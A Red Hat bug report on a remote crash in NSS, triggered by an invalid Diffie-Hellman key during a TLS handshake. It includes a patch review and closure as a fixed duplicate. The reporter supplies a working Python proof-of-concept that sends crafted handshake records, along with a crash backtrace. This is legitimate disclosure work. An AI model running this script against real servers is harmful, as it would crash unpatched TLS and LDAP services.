Bug 1374803

Summary: remotely triggerable SIGSEGV in processes that use nss for accepting TLS
Product: Red Hat Enterprise Linux 7 Reporter: Jeffrey Arbuckle <jeffa.lans>
Component: nssAssignee: Daiki Ueno <dueno>
Status: CLOSED DUPLICATE QA Contact: BaseOS QE Security Team <qe-baseos-security>
Severity: high Docs Contact:
Priority: unspecified    
Version: 7.2CC: dueno, hkario, kengert, mgrepl, nmavrogi, pvrabec, rrelyea, szidek
Target Milestone: rc   
Target Release: ---   
Hardware: All   
OS: All   
Whiteboard:
Fixed In Version: Doc Type: If docs needed, set a value
Doc Text:
Story Points: ---
Clone Of: Environment:
Last Closed: 2016-11-30 15:56:22 UTC Type: Bug
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 1383883    
Bug Blocks:    
Attachments:
Description Flags
propogate invalid key failure rrelyea: review+

Description Jeffrey Arbuckle 2016-09-09 16:46:51 UTC
Created attachment 1199532 [details]
propogate invalid key failure

Description of problem:

A remote client can cause any server process using NSS to crash by sending an invalid DH key.  It primarily affects openldap-servers because that package uses nss for accepting TLS connections.

Version-Release number of selected component (if applicable):

nss 3.21.0-9.el7_2
openldap-servers 2.4.40-9.el7_2

How reproducible:

Always.


Steps to Reproduce:

1.  Given an nssdb setup with:

% openssl pkcs12 -export -name nickname -out server.pfx -inkey server.key -in server.crt -certfile server_ca.crt
% mkdir nssdb
% certutil -N -d nssdb
% pk12util -i server.pfx -d nssdb

% gdb /usr/lib64/nss/unsupported-tools/selfserv

(gdb) r -d nssdb -n 'nickname' -p 2099 -v -V tls1.0:

2.  Use the following python program to perform an invalid TLS handshake.

import socket
import base64

addr = "127.0.0.1"
port = 2099

# a client hello using TLS1.0, TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
client_hello = base64.b64decode("FgMBAC0BAAApAwFXLM1FbXJJaVhVVWpRempBcUxGRV9KWU5NNWpiMlh4VwAAAgAWAQA=")

# a client key exchange with Diffie-Hellman Client Params Pubkey
# of length 1 with value 0x01
key_exchange = base64.b64decode("FgMBAAcQAAADAAEBFAMBAAEBFgMBACgpeyfsg3fzqebC2kBo//CdXazK+49MKcOp26XK8wjum3lvYtSxlt81")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((addr, port))
s.send(client_hello)
data = s.recv(1024)
s.send(key_exchange)
s.close()


Actual results:

Server process crashes with SIGSEGV.

[Switching to Thread 0x7ffff203b700 (LWP 14742)]
PK11_SignWithSymKey (symKey=0x0, mechanism=3461563235, param=param@entry=0x7ffff2037e30, sig=sig@entry=0x7ffff2037e70, data=data@entry=0x7ffff2037e50) at pk11obj.c:792
792         PK11SlotInfo *slot = symKey->slot;
(gdb) bt
#0  PK11_SignWithSymKey (symKey=0x0, mechanism=3461563235, param=param@entry=0x7ffff2037e30, sig=sig@entry=0x7ffff2037e70, data=data@entry=0x7ffff2037e50)
    at pk11obj.c:792
#1  0x00007ffff7bb347d in ssl3_ComputeRecordMACConstantTime (outLen=0x7ffff2037e1c, outbuf=0x7ffff2037ec0 "P\001", originalLen=40, inputLen=40,
    input=0x6a3d30 "SCRUBBED", headerLen=13,
    header=0x7ffff2037eb0 "", useServerMacKey=0, spec=0x69dfd0) at ssl3con.c:2539
#2  ssl3_HandleRecord (ss=ss@entry=0x69c3e0, cText=cText@entry=0x7ffff2037ff0, databuf=databuf@entry=0x69c7a0) at ssl3con.c:12414
#3  0x00007ffff7bb44a2 in ssl3_GatherCompleteHandshake (ss=0x69c3e0, flags=0) at ssl3gthr.c:378
#4  0x00007ffff7bb5285 in ssl_GatherRecord1stHandshake (ss=0x69c3e0) at sslcon.c:1213
#5  0x00007ffff7bbda25 in ssl_Do1stHandshake (ss=ss@entry=0x69c3e0) at sslsecur.c:109
#6  0x00007ffff7bbef3f in ssl_SecureRecv (ss=0x69c3e0, buf=0x7ffff2038660 "", len=10239, flags=0) at sslsecur.c:1232
#7  0x00007ffff7bc30b8 in ssl_Read (fd=<optimized out>, buf=0x7ffff2038660, len=10239) at sslsock.c:2438
#8  0x0000000000408512 in handle_connection (tcp_sock=0x67e1e0, model_sock=<optimized out>, requestCert=0) at selfserv.c:1348
#9  0x0000000000409004 in jobLoop (a=<optimized out>, b=<optimized out>, c=<optimized out>) at selfserv.c:647
#10 0x0000000000407641 in thread_wrapper (arg=0x67d7b0) at selfserv.c:616
#11 0x00007ffff6e0096b in _pt_root (arg=0x681810) at ../../../nspr/pr/src/pthreads/ptthread.c:212
#12 0x00007ffff6985dc5 in start_thread (arg=0x7ffff203b700) at pthread_create.c:308
#13 0x00007ffff64aeced in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:11

Expected results:

The error actually originates in ssl3_HandleDHClientKeyExchange().
It's call to PK11_PubDerive() correctly returns NULL upon catching the invalid key, but the function
never sets rv=SECFailure to propogate the failure.

selfserv should have closed the connection instead of derefrencing the symKey NULL pointer
and crashing.

See attached patch.


Additional info:

The bug was reported to the upstream nss project.   It was accidentally fixed with a code refactoring in version 3.25 .

Comment 2 Bob Relyea 2016-09-28 22:16:22 UTC
Comment on attachment 1199532 [details]
propogate invalid key failure

r+ rrelyea.

The report has properly analyzed the root issue.

Comment 3 Kai Engert (:kaie) (inactive account) 2016-09-28 23:13:56 UTC
(In reply to Jeffrey Arbuckle from comment #0)
> The bug was reported to the upstream nss project.   It was accidentally
> fixed with a code refactoring in version 3.25 .

I missed this part earlier.

Does this mean, NSS releases version 3.25 and later are already fixed?

Comment 4 Kai Engert (:kaie) (inactive account) 2016-09-28 23:18:22 UTC
(In reply to Kai Engert (:kaie) from comment #3)
> Does this mean, NSS releases version 3.25 and later are already fixed?

Bob said "yes".

Comment 6 Alicja Kario 2016-11-30 15:56:22 UTC
Issue was resolved with release of nss-3.21.3-2.el7_3 in https://rhn.redhat.com/errata/RHSA-2016-2779.html

If the solution does not work for you, open a new bug report.

*** This bug has been marked as a duplicate of bug 1383883 ***